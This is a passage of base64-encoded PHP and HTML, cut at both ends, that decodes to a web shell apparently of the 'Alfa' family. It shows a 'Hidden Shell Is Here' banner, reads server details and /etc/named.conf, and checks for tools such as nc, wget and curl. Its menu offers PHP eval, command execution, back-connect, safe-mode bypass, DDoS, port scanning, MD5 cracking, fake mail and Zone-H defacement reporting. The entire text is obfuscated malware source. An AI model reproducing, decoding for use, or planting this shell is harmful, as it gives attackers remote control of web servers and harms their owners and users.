w0KcGFkZGluZy1sZWZ0OiAycHg7DQp0ZXh0LWFsaWduOmNlbnRlcjsNCmxpc3Qtc3R5bGUtdHlwZTogbm9uZTsNCm1hcmdpbjogMHB4Ow0KfQ0KLndob2xlICNtZXVubGlzdCBsaSB7DQptYXJnaW46IDBweDsNCnBhZGRpbmc6IDBweDsNCmRpc3BsYXk6IGlubGluZTsNCn0NCi53aG9sZSAjbWV1bmxpc3QgYSB7DQpmb250LWZhbWlseTogYXJpYWwsIHNhbnMtc2VyaWY7DQpmb250LXNpemU6IDE0cHg7DQp0ZXh0LWRlY29yYXRpb246bm9uZTsNCmZvbnQtd2VpZ2h0OiBib2xkOw0KY29sb3I6ICNmZmY7DQpjbGVhcjogYm90aDsNCndpZHRoOiAxMDBweDsNCm1hcmdpbi1yaWdodDogLTZweDsNCnBhZGRpbmctdG9wOiAzcHg7DQpwYWRkaW5nLXJpZ2h0OiAxNXB4Ow0KcGFkZGluZy1ib3R0b206IDNweDsNCnBhZGRpbmctbGVmdDogMTVweDsNCmJvcmRlci1yaWdodC13aWR0aDogMXB4Ow0KYm9yZGVyLXJpZ2h0LXN0eWxlOiBzb2xpZDsNCmJvcmRlci1yaWdodC1jb2xvcjogI0ZGRjsNCn0NCi53aG9sZSAjbWV1bmxpc3QgYTpob3ZlciB7DQpjb2xvcjogIzAwMDsNCmJhY2tncm91bmQ6ICM2NDY0NjQ7DQp9DQouZm9vdCB7DQpmb250LWZhbWlseTogVmVyZGFuYSwgR2VuZXZhLCBzYW5zLXNlcmlmOw0KYmFja2dyb3VuZC1jb2xvcjogIzAwMDsNCm1hcmdpbjogMHB4Ow0KcGFkZGluZzogMHB4Ow0Kd2lkdGg6IDEwMCU7DQp0ZXh0LWFsaWduOiBjZW50ZXI7DQpmb250LXNpemU6IDEycHg7DQpjb2xvcjogIzBFMzA0QTsNCmJvcmRlci1yaWdodC13aWR0aDogN3B4Ow0KYm9yZGVyLWxlZnQtd2lkdGg6IDdweDsNCmJvcmRlci1ib3R0b20td2lkdGg6IDdweDsNCmJvcmRlci1ib3R0b20tc3R5bGU6IHNvbGlkOw0KYm9yZGVyLXJpZ2h0LXN0eWxlOiBzb2xpZDsNCmJvcmRlci1yaWdodC1zdHlsZTogc29saWQ7DQpib3JkZXItbGVmdC1zdHlsZTogc29saWQ7DQpib3JkZXItdG9wLWNvbG9yOiAjMEUzMDRBOw0KYm9yZGVyLXJpZ2h0LWNvbG9yOiAjMEUzMDRBOw0KYm9yZGVyLWJvdHRvbS1jb2xvcjogIzBFMzA0QTsNCmJvcmRlci1sZWZ0LWNvbG9yOiAjMEUzMDRBOw0KfQ0KI3RleHR7DQp0ZXh0LWFsaWduOmNlbnRlcjsNCn0NCic7DQppZihpc193cml0YWJsZSgkR0xPQkFMU1snY3dkJ10pKQ0Kew0KZWNobyAiLmZvb3R0YWJsZSB7DQp3aWR0aDogMzAwcHg7DQpmb250LXdlaWdodDogYm9sZDsNCn0iO30NCmVsc2UNCnsNCmVjaG8gIi5mb290dGFibGUgew0Kd2lkdGg6IDMwMHB4Ow0KZm9udC13ZWlnaHQ6IGJvbGQ7DQpiYWNrZ3JvdW5kLWNvbG9yOnJlZDsNCn0NCi5kaXIgew0KYmFja2dyb3VuZC1jb2xvcjpyZWQ7DQp9DQoiOw0KfQ0KZWNobyAnLm1haW4gdGh7dGV4dC1hbGlnbjpsZWZ0O30NCi5tYWluIGF7Y29sb3I6ICNGRkY7fQ0KLm1haW4gdHI6aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjojNjQ2NDY0O30NCi5tbDF7IGJvcmRlcjoxcHggc29saWQgIzBFMzA0QTtwYWRkaW5nOjVweDttYXJnaW46MDtvdmVyZmxvdzogYXV0bzsgfQ0KLmJpZ2FyZWF7IHdpZHRoOjk5JTsgaGVpZ2h0OjMwMHB4OyB9DQo8L3N0eWxlPg0KJzsNCmVjaG8gIjxzY3JpcHQ+DQp2YXIgY18gPSAnIiAuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSAuICInOw0KdmFyIGFfID0gJyIgLiBodG1sc3BlY2lhbGNoYXJzKEAkX1BPU1RbJ2EnXSkgLiInDQp2YXIgY2hhcnNldF8gPSAnIiAuIGh0bWxzcGVjaWFsY2hhcnMoQCRfUE9TVFsnY2hhcnNldCddKSAuIic7DQp2YXIgYWxmYTFfID0gJyIgLiAoKHN0cnBvcyhAJF9QT1NUWydhbGZhMSddLCJcbiIpIT09ZmFsc2UpPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydhbGZhMSddLEVOVF9RVU9URVMpKSAuIic7DQp2YXIgYWxmYTJfID0gJyIgLiAoKHN0cnBvcyhAJF9QT1NUWydhbGZhMiddLCJcbiIpIT09ZmFsc2UpPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydhbGZhMiddLEVOVF9RVU9URVMpKSAuIic7DQp2YXIgYWxmYTNfID0gJyIgLiAoKHN0cnBvcyhAJF9QT1NUWydhbGZhMyddLCJcbiIpIT09ZmFsc2UpPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydhbGZhMyddLEVOVF9RVU9URVMpKSAuIic7DQp2YXIgYWxmYTRfID0gJyIgLiAoKHN0cnBvcyhAJF9QT1NUWydhbGZhNCddLCJcbiIpIT09ZmFsc2UpPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydhbGZhNCddLEVOVF9RVU9URVMpKSAuIic7DQp2YXIgYWxmYTVfID0gJyIgLiAoKHN0cnBvcyhAJF9QT1NUWydhbGZhNSddLCJcbiIpIT09ZmFsc2UpPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydhbGZhNSddLEVOVF9RVU9URVMpKSAuIic7DQp2YXIgYWxmYTZfID0gJyIgLiAoKHN0cnBvcyhAJF9QT1NUWydhbGZhNiddLCJcbiIpIT09ZmFsc2UpPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydhbGZhNiddLEVOVF9RVU9URVMpKSAuIic7DQp2YXIgYWxmYTdfID0gJyIgLiAoKHN0cnBvcyhAJF9QT1NUWydhbGZhNyddLCJcbiIpIT09ZmFsc2UpPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydhbGZhNyddLEVOVF9RVU9URVMpKSAuIic7DQp2YXIgYWxmYThfID0gJyIgLiAoKHN0cnBvcyhAJF9QT1NUWydhbGZhOCddLCJcbiIpIT09ZmFsc2UpPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydhbGZhOCddLEVOVF9RVU9URVMpKSAuIic7DQp2YXIgYWxmYTlfID0gJyIgLiAoKHN0cnBvcyhAJF9QT1NUWydhbGZhOSddLCJcbiIpIT09ZmFsc2UpPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydhbGZhOSddLEVOVF9RVU9URVMpKSAuIic7DQp2YXIgYWxmYTEwXyA9ICciIC4gKChzdHJwb3MoQCRfUE9TVFsnYWxmYTEwJ10sIlxuIikhPT1mYWxzZSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2FsZmExMCddLEVOVF9RVU9URVMpKSAuIic7DQp2YXIgZCA9IGRvY3VtZW50Ow0KZnVuY3Rpb24gc2V0KGEsYyxhbGZhMSxhbGZhMixhbGZhMyxhbGZhNCxhbGZhNSxhbGZhNixhbGZhNyxhbGZhOCxhbGZhOSxhbGZhMTAsY2hhcnNldCkgew0KaWYoYSE9bnVsbClkLm1mLmEudmFsdWU9YTtlbHNlIGQubWYuYS52YWx1ZT1hXzsNCmlmKGMhPW51bGwpZC5tZi5jLnZhbHVlPWM7ZWxzZSBkLm1mLmMudmFsdWU9Y187DQppZihhbGZhMSE9bnVsbClkLm1mLmFsZmExLnZhbHVlPWFsZmExO2Vsc2UgZC5tZi5hbGZhMS52YWx1ZT1hbGZhMV87DQppZihhbGZhMiE9bnVsbClkLm1mLmFsZmEyLnZhbHVlPWFsZmEyO2Vsc2UgZC5tZi5hbGZhMi52YWx1ZT1hbGZhMl87DQppZihhbGZhMyE9bnVsbClkLm1mLmFsZmEzLnZhbHVlPWFsZmEzO2Vsc2UgZC5tZi5hbGZhMy52YWx1ZT1hbGZhM187DQppZihhbGZhNCE9bnVsbClkLm1mLmFsZmE0LnZhbHVlPWFsZmE0O2Vsc2UgZC5tZi5hbGZhNC52YWx1ZT1hbGZhNF87DQppZihhbGZhNSE9bnVsbClkLm1mLmFsZmE1LnZhbHVlPWFsZmE1O2Vsc2UgZC5tZi5hbGZhNS52YWx1ZT1hbGZhNV87DQppZihhbGZhNiE9bnVsbClkLm1mLmFsZmE2LnZhbHVlPWFsZmE2O2Vsc2UgZC5tZi5hbGZhNi52YWx1ZT1hbGZhNl87DQppZihhbGZhNyE9bnVsbClkLm1mLmFsZmE3LnZhbHVlPWFsZmE3O2Vsc2UgZC5tZi5hbGZhNy52YWx1ZT1hbGZhN187DQppZihhbGZhOCE9bnVsbClkLm1mLmFsZmE4LnZhbHVlPWFsZmE4O2Vsc2UgZC5tZi5hbGZhOC52YWx1ZT1hbGZhOF87DQppZihhbGZhOSE9bnVsbClkLm1mLmFsZmE5LnZhbHVlPWFsZmE5O2Vsc2UgZC5tZi5hbGZhOS52YWx1ZT1hbGZhOV87DQppZihhbGZhMTAhPW51bGwpZC5tZi5hbGZhMTAudmFsdWU9YWxmYTEwO2Vsc2UgZC5tZi5hbGZhMTAudmFsdWU9YWxmYTEwXzsNCmlmKGNoYXJzZXQhPW51bGwpZC5tZi5jaGFyc2V0LnZhbHVlPWNoYXJzZXQ7ZWxzZSBkLm1mLmNoYXJzZXQudmFsdWU9Y2hhcnNldF87DQp9DQpmdW5jdGlvbiBnKGEsYyxhbGZhMSxhbGZhMixhbGZhMyxhbGZhNCxhbGZhNSxhbGZhNixhbGZhNyxhbGZhOCxhbGZhOSxhbGZhMTAsY2hhcnNldCkgew0Kc2V0KGEsYyxhbGZhMSxhbGZhMixhbGZhMyxhbGZhNCxhbGZhNSxhbGZhNixhbGZhNyxhbGZhOCxhbGZhOSxhbGZhMTAsY2hhcnNldCk7DQpkLm1mLnN1Ym1pdCgpOw0KfTwvc2NyaXB0PiI7DQplY2hvICcNCjwvaGVhZD4NCjxib2R5IGJnY29sb3I9IiMwMDAwMDAiIGxlZnRtYXJnaW49IjAiIHRvcG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCI+DQo8ZGl2IGNsYXNzPSJ3aG9sZSI+DQo8Zm9ybSBtZXRob2Q9cG9zdCBuYW1lPW1mIHN0eWxlPSJkaXNwbGF5Om5vbmU7Ij4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWE+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWxmYTE+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hbGZhMj4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFsZmEzPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWxmYTQ+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hbGZhNT4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFsZmE2Pg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWxmYTc+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hbGZhOD4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFsZmE5Pg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWxmYTEwPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldD4NCjwvZm9ybT4NCjxkaXYgaWQ9XCdhbGVydFwnPjxhIGNsYXNzPSJhbGVydF9ncmVlbiIgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9Ij9zb2xldmlzaWJsZSI+SGlkZGVuIFNoZWxsIElzIEhlcmUgKCBDbGljayApPC9mb250PjwvYT48L2Rpdj48YnI+PHA+DQo8ZGl2IGNsYXNzPSJoZWFkZXIiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBhbGlnbj0ibGlmdCI+DQo8dHI+DQo8dGQgd2lkdGg9IjMlIj48c3Bhbj48Zm9udCBjb2xvcj0jMjc5NzlCPlVuYW1lOjwvZm9udD48L3NwYW4+PC90ZD4NCjx0ZCBjb2xzcGFuPSIyIj48Yj4nLnN1YnN0cihAcGhwX3VuYW1lKCksIDAsIDEyMCkuJzwvYj48L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48c3Bhbj48Zm9udCBjb2xvcj0jMjc5NzlCPlVzZXI6PC9mb250Pjwvc3Bhbj48L3RkPg0KPHRkPjxiPicuICR1aWQgLiAnIFsgJyAuICR1c2VyIC4gJyBdIDwvYj48c3Bhbj4gPGZvbnQgY29sb3I9IzI3OTc5Qj4gR3JvdXA6IDwvZm9udD48L3NwYW4+PGI+JyAuICRnaWQgLiAnIFsgJyAuICRncm91cCAuICcgXTwvYj4gPC90ZD4NCjx0ZCB3aWR0aD0iMTIlIiByb3dzcGFuPSI4Ij48aW1nIHdpZHRoPSIyNDBweCIgYWx0PSIiIHNyYz0iaHR0cDovL3MyMy5wb3N0aW1nLm9yZy94djk1Y3NpNjMvc2FmZV9pbWFnZS5wbmciIC8+PC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PHNwYW4+PGZvbnQgY29sb3I9IzI3OTc5Qj5QSFA6PC9mb250Pjwvc3Bhbj48L3RkPg0KPHRkPjxiPicuQHBocHZlcnNpb24oKS4gJyA8L2I+PHNwYW4+IDxmb250IGNvbG9yPSMyNzk3OUI+IFNhZmUgTW9kZTogPC9mb250PicuJHNhZmVfbW9kZXMuJzwvc3Bhbj48L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48c3Bhbj48Zm9udCBjb2xvcj0jMjc5NzlCPlNlcnZlcklQOjwvZm9udD48L3NwYW4+PC90ZD4NCjx0ZD48Yj4nLkAkX1NFUlZFUlsiU0VSVkVSX0FERFIiXS4nIDxzcGFuPjxmb250IGNvbG9yPSMyNzk3OUI+WW91ciBJUDo8L2ZvbnQ+PC9zcGFuPjxiPiAnLkAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXS4nPC9iPjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxzcGFuPjxmb250IGNvbG9yPSMyNzk3OUI+RG9tYWluczo8L2ZvbnQ+PC9zcGFuPjwvdGQ+DQo8dGQgd2lkdGg9Ijc2JSI+PGI+JzsNCmlmKCRHTE9CQUxTWydzeXMnXT09J3VuaXgnKQ0Kew0KJGQwbWFpbnMgPSBAZmlsZSgiL2V0Yy9uYW1lZC5jb25mIik7DQppZighJGQwbWFpbnMpDQp7DQplY2hvICJDQU5UIFJFQUQgbmFtZWQuY29uZiI7DQp9DQplbHNlDQp7DQokY291bnQ7DQpmb3JlYWNoKCRkMG1haW5zIGFzICRkMG1haW4pDQp7DQppZihAZXJlZygiem9uZSIsJGQwbWFpbikpDQp7DQpwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsICRkMG1haW4sICRkb21haW5zKTsNCmZsdXNoKCk7DQppZihzdHJsZW4odHJpbSgkZG9tYWluc1sxXVswXSkpID4gMil7DQpmbHVzaCgpOw0KJGNvdW50Kys7DQp9DQp9DQp9DQplY2hvICIkY291bnQgRG9tYWlucyI7DQp9DQp9DQplbHNleyBlY2hvIkNBTlQgUkVBRCB8V2luZG93c3wiO30NCmVjaG8gJzwvYj48L3RkPg0KPC90cj4NCjx0cj4NCjx0ZCBoZWlnaHQ9IjE2Ij48c3Bhbj48Zm9udCBjb2xvcj0jMjc5NzlCPkhERDo8Zm9udD48L3NwYW4+PC90ZD4NCjx0ZD48c3Bhbj48Zm9udCBjb2xvcj0jMjc5NzlCPlRvdGFsOjwvZm9udD48L3NwYW4+PGI+Jy5hbGZhU2l6ZSgkdG90YWxTcGFjZSkuJyA8L2I+PHNwYW4+PGZvbnQgY29sb3I9IzI3OTc5Qj5GcmVlOjwvZm9udD48L3NwYW4+PGI+JyAuIGFsZmFTaXplKCRmcmVlU3BhY2UpIC4gJyBbJy4gKGludCkgKCRmcmVlU3BhY2UvJHRvdGFsU3BhY2UqMTAwKSAuICclXTwvYj48L3RkPg0KPC90cj4nOw0KaWYoJEdMT0JBTFNbJ3N5cyddPT0ndW5peCcgKQ0Kew0KaWYoIUBpbmlfZ2V0KCdzYWZlX21vZGUnKSkNCnsNCmlmKGZ1bmN0aW9uX2V4aXN0cygic3lzdGVtIikgfHwgZnVuY3Rpb25fZXhpc3RzKCJleGVjIikgfHwgZnVuY3Rpb25fZXhpc3RzKCJwYXNzdGhydSIpIHx8IGZ1bmN0aW9uX2V4aXN0cygic2hlbGxfZXhlYyIpKXsNCmVjaG8gJzx0cj48dGQgaGVpZ2h0PSIxOCIgY29sc3Bhbj0iMiI+PHNwYW4+PGZvbnQgY29sb3I9IzI3OTc5Qj5Vc2VmdWwgOiA8L2ZvbnQ+PC9zcGFuPjxiPic7DQokdXNlcmZ1bCA9IGFycmF5KCdnY2MnLCdsY2MnLCdjYycsJ2xkJywnbWFrZScsJ3BocCcsJ3BlcmwnLCdweXRob24nLCdydWJ5JywndGFyJywnZ3ppcCcsJ2J6aXAnLCdiemlhbGZhMicsJ25jJywnbG9jYXRlJywnc3VpZHBlcmwnKTsNCmZvcmVhY2goJHVzZXJmdWwgYXMgJGl0ZW0pDQppZihhbGZhV2hpY2goJGl0ZW0pKQ0KZWNobyAkaXRlbS4nLCc7DQplY2hvICc8L2I+PC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQgaGVpZ2h0PSIwIiBjb2xzcGFuPSIyIj48c3Bhbj48Zm9udCBjb2xvcj0jMjc5NzlCPkRvd25sb2FkZXI6PC9mb250Pjwvc3Bhbj4nOw0KJGRvd25sb2FkZXJzID0gYXJyYXkoJ3dnZXQnLCdmZXRjaCcsJ2x5bngnLCdsaW5rcycsJ2N1cmwnLCdnZXQnLCdsd3AtbWlycm9yJyk7DQpmb3JlYWNoKCRkb3dubG9hZGVycyBhcyAkaXRlbTIpDQppZihhbGZhV2hpY2goJGl0ZW0yKSkNCmVjaG8gJzxiPicuJGl0ZW0yLicsJzsNCmVjaG8gJzwvYj48L3RkPg0KPC90cj4nOw0KfWVsc2V7DQplY2hvICc8dHI+PHRkIGhlaWdodD0iMTgiIGNvbHNwYW49IjIiPjxzcGFuPjxmb250IGNvbG9yPSMyNzk3OUI+dXNlZnVsOjxmb250Pjwvc3Bhbj4nOw0KZWNobyAnLS0tLS0tLS0tLS0tLS08L3RkPg0KPC90cj48dGQgaGVpZ2h0PSIwIiBjb2xzcGFuPSIyIj48c3Bhbj48Zm9udCBjb2xvcj0jMjc5NzlCPkRvd25sb2FkZXI6PC9mb250PiA8L3NwYW4+LS0tLS0tLS0tLS0tLTwvdGQ+DQo8L3RyPic7DQp9DQp9DQplbHNlDQp7DQplY2hvICc8dHI+PHRkIGhlaWdodD0iMTgiIGNvbHNwYW49IjIiPjxzcGFuPjxmb250IGNvbG9yPSMyNzk3OUI+dXNlZnVsOjxmb250Pjwvc3Bhbj4nOw0KZWNobyAnLS0tLS0tLS0tLS0tLS08L3RkPg0KPC90cj48dGQgaGVpZ2h0PSIwIiBjb2xzcGFuPSIyIj48c3Bhbj48Zm9udCBjb2xvcj0jMjc5NzlCPkRvd25sb2FkZXI6PC9mb250PiA8L3NwYW4+LS0tLS0tLS0tLS0tLTwvdGQ+DQo8L3RyPic7DQp9DQp9DQplbHNlDQp7DQplY2hvICc8dHI+PHRkIGhlaWdodD0iMTgiIGNvbHNwYW49IjIiPjxzcGFuPjxmb250IGNvbG9yPSMyNzk3OUI+V2luZG93OjwvZm9udD48L3NwYW4+PGI+JzsNCmVjaG8gYWxmYUV4KCd2ZXInKTsNCmVjaG8gJzwvdGQ+DQo8L3RyPiA8dHI+DQo8dGQgaGVpZ2h0PSIwIiBjb2xzcGFuPSIyIj48c3Bhbj48Zm9udCBjb2xvcj0jMjc5NzlCPkRvd25sb2FkZXI6PC9mb250PiA8L3NwYW4+LS0tLS0tLS0tLS0tLTwvdGQ+DQo8L3RyPjwvYj4nOw0KfQ0KJHF1b3RlcyA9IGdldF9tYWdpY19xdW90ZXNfZ3BjKCk7aWYgKCRxdW90ZXMgPT0gIjEiIG9yICRxdW90ZXMgPT0gIm9uIil7JG1hZ2ljID0gJzxiPjxmb250IGNvbG9yPSIjMEYwIj5PTjwvZm9udD4nO31lbHNleyRtYWdpYyA9ICc8Yj48Zm9udCBjb2xvcj0icmVkIj5PRkY8L2ZvbnQ+Jzt9DQplY2hvICc8dHI+DQo8dGQgaGVpZ2h0PSIxNiIgY29sc3Bhbj0iMiI+PHNwYW4+PGZvbnQgY29sb3I9IzI3OTc5Qj5EaXNhYmxlZCBGdW5jdGlvbnM6PC9mb250Pjwvc3Bhbj48Yj4nLiRkaXNmdW4uJzwvYj48L3RkPg0KPC90cj4NCjx0cj4NCjx0ZCBoZWlnaHQ9IjE2IiBjb2xzcGFuPSIyIj48c3Bhbj48Zm9udCBjb2xvcj0jMjc5NzlCPkNVUkw6PC9mb250PjxiPicuJGN1cmwuJyA8L2I+PGZvbnQgY29sb3I9IzI3OTc5Qj5NYWdpYyBRdW90ZXM6PC9mb250PjxiPicuJG1hZ2ljLicgPC9iPjxmb250IGNvbG9yPSMyNzk3OUI+IE15U1FMOjwvZm9udD48Yj4nLiRteXNxbC4nIDwvYj48Zm9udCBjb2xvcj0jMjc5NzlCPk1TU1FMOjwvZm9udD48Yj4nLiRtc3NxbC4nIDwvYj48Zm9udCBjb2xvcj0jMjc5NzlCPiBQb3N0Z3JlU1FMOjwvZm9udD48Yj4nLiRwZy4nPC9iPiA8Zm9udCBjb2xvcj0jMjc5NzlCPiBPcmFjbGU6PC9mb250PiA8L3NwYW4+PGI+Jy4kb3IuJzwvYj48L3RkPjx0ZCB3aWR0aD0iMTUlIj4nLmJhc2U2NF9kZWNvZGUoIlBHRWdhSEpsWmowaWFIUjBjRG92TDNwdmJtVXRhQzV2Y21jdllYSmphR2wyWlM5dWIzUnBabWxsY2oxamVXSmxjaTAzTVNJZ2RHRnlaMlYwUFNKZllteGhibXNpUGp4emNHRnVQanhtYjI1MElHTnZiRzl5UFNJak1FWXdJajdDb01LZ3dxRENvTUtnd3FEQ29NS2d3cURDb01LZ3dxRENvTUtnd3FEQ29NS2d3cURDb01LZ3dxRENvTUtnd3FEQ29FTjVRa1ZTTFRjeFBDOW1iMjUwUGp3dmMzQmhiajQ4TDJFKyIpLic8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZCBoZWlnaHQ9IjExIiBjb2xzcGFuPSIzIj48c3Bhbj48Zm9udCBjb2xvcj0jMjc5NzlCPk9wZW5fYmFzZWRpcjo8Yj4nLiRvcGVuX2IuJzwvYj48L2ZvbnQ+IDxmb250IGNvbG9yPSMyNzk3OUI+U2FmZV9tb2RlX2V4ZWNfZGlyOjwvYj4nLiRzYWZlX2V4ZS4nPC9iPiA8L2ZvbnQ+PGZvbnQgY29sb3I9IzI3OTc5Qj4gU2FmZV9tb2RlX2luY2x1ZGVfZGlyOjwvYj4nLiRzYWZlX2luY2x1ZGUuJzwvYj48L2ZvbnQ+PC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQgaGVpZ2h0PSIxMSI+PHNwYW4+PGZvbnQgY29sb3I9IzI3OTc5Qj5Tb2Z0V2FyZTo8Zm9udCBjb2xvcj0jMjc5NzlCPiA8L3NwYW4+PC90ZD4NCjx0ZCBjb2xzcGFuPSIyIj48Yj4nLkBnZXRlbnYoJ1NFUlZFUl9TT0ZUV0FSRScpLic8L2I+PC90ZD4NCjwvdHI+JzsNCmlmKCRHTE9CQUxTW3N5c109PSJ3aW4iKQ0Kew0KZWNobyAnPHRyPg0KPHRkIGhlaWdodD0iMTIiPjxzcGFuPjxmb250IGNvbG9yPSMyNzk3OUI+RFJJVkU6PC9mb250Pjwvc3Bhbj48L3RkPg0KPHRkIGNvbHNwYW49IjIiPjxiPicuJGRyaXZlcy4nPC9iPjwvdGQ+DQo8L3RyPic7DQp9DQplY2hvICc8dHI+DQo8dGQgaGVpZ2h0PSIxMiI+PHNwYW4+PGZvbnQgY29sb3I9IzI3OTc5Qj5QV0Q6PC9mb250Pjwvc3Bhbj48L3RkPg0KPHRkIGNvbHNwYW49IjIiPicuJGN3ZF9saW5rcy4nIDxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxcJycgLiAkR0xPQkFMU1snaG9tZV9jd2QnXSAuICdcJyxcJ1wnLFwnXCcsXCdcJykiPjxmb250IGNvbG9yPXJlZCA+fCBIb21lIFNoZWxsIHw8L2ZvbnQ+PC9hPjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjwvZGl2Pg0KPGRpdiBpZD0ibWV1bmxpc3QiPg0KPHVsPg0KPGxpPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc01hblwnLG51bGwsXCdcJyxcJ1wnLFwnXCcpIj48Zm9udCBjb2xvcj0jMjc5NzlCPkhvbWU8L2ZvbnQ+PC9hPjwvbGk+DQo8bGk+PGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ3Byb2NcJyxudWxsLFwnXCcsXCdcJyxcJ1wnKSI+PGZvbnQgY29sb3I9IzI3OTc5Qj5Qcm9jZXNzPC9mb250PjwvYT48L2xpPg0KPGxpPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdwaHBldmFsXCcsbnVsbCxcJ1wnLFwnXCcsXCdcJykiPjxmb250IGNvbG9yPSMyNzk3OUI+RXZhbDwvZm9udD48L2E+PC9saT4NCjxsaT48YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnc3FsXCcsbnVsbCxcJ1wnLFwnXCcsXCdcJykiPjxmb250IGNvbG9yPSMyNzk3OUI+U1FMPC9mb250PjwvYT48L2xpPg0KPGxpPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdoYXNoXCcsbnVsbCxcJ1wnLFwnXCcsXCdcJykiPjxmb250IGNvbG9yPSMyNzk3OUI+RW4tRGVjb2RlcjwvZm9udD48L2E+PC9saT4NCjxsaT48YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnY29ubmVjdFwnLG51bGwsXCdcJyxcJ1wnLFwnXCcpIj48Zm9udCBjb2xvcj0jMjc5NzlCPkJDPC9mb250PjwvYT48L2xpPg0KPGxpPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCd6b25laFwnLG51bGwsXCdcJyxcJ1wnLFwnXCcpIj48Zm9udCBjb2xvcj0jMjc5NzlCPlpPTkUtSDwvZm9udD48L2E+PC9saT4NCjxsaT48YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnZG9zXCcsbnVsbCxcJ1wnLFwnXCcsXCdcJykiPjxmb250IGNvbG9yPSMyNzk3OUI+RERPUzwvZm9udD48L2E+PC9saT4NCjxsaT48YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnc2FmZVwnLG51bGwsXCdcJyxcJ1wnLFwnXCcpIj48Zm9udCBjb2xvcj0jMjc5NzlCPkJ5UGFzc2VyPC9mb250PjwvYT48L2xpPg0KPGxpPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdjZ2lzaGVsbFwnLG51bGwsXCdcJyxcJ1wnLFwnXCcpIj48Zm9udCBjb2xvcj0jMjc5NzlCPkNnaSBQZXJsPC9mb250PjwvYT48L2xpPg0KPGxpPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdjZ2lweXRob25cJyxudWxsLFwnXCcsXCdcJyxcJ1wnKSI+PGZvbnQgY29sb3I9IzI3OTc5Qj5DZ2kgUHl0aG9uPC9mb250PjwvYT48L2xpPg0KPGxpPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdjbWRwaHBcJyxudWxsLFwnXCcsXCdcJyxcJ1wnKSI+PGZvbnQgY29sb3I9IzI3OTc5Qj5DTUQ8L2ZvbnQ+PC9hPjwvbGk+DQo8bGk+PGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ2NwY3JhY2tcJyxudWxsLFwnXCcsXCdcJyxcJ1wnKSI+PGZvbnQgY29sb3I9IzI3OTc5Qj5NRDUgQ3JhY2tlcjwvZm9udD48L2E+PC9saT4NCjxsaT48YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwncG9ydHNjYW5uZXJcJyxudWxsLFwnXCcsXCdcJyxcJ1wnKSI+PGZvbnQgY29sb3I9IzI3OTc5Qj5Qb3J0IFNjYW5lcjwvZm9udD48L2E+PC9saT4NCjxsaT48YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnYmFzZWRpclwnLG51bGwsXCdcJyxcJ1wnLFwnXCcpIj48Zm9udCBjb2xvcj0jMjc5NzlCPk9wZW4gQmFzZURpcjwvZm9udD48L2E+PC9saT4NCjxsaT48YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnbWFpbFwnLG51bGwsXCdcJyxcJ1wnLFwnXCcpIj48Zm9udCBjb2xvcj0jMjc5NzlCPkZha2UgTWFpbDwvZm9udD48L2E+PC9saT4NCjxsaT48YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnemlwZXJcJyxudWxsLFwnXCcsXCdcJyxcJ1wnKSI+PGZvbnQgY29sb3I9IzI3OTc5Qj5aaXBlcjwvZm9udD48L2E+PC9saT4NCjxsaT48YSBocmVmPSIjIiBvbmNsaWNrP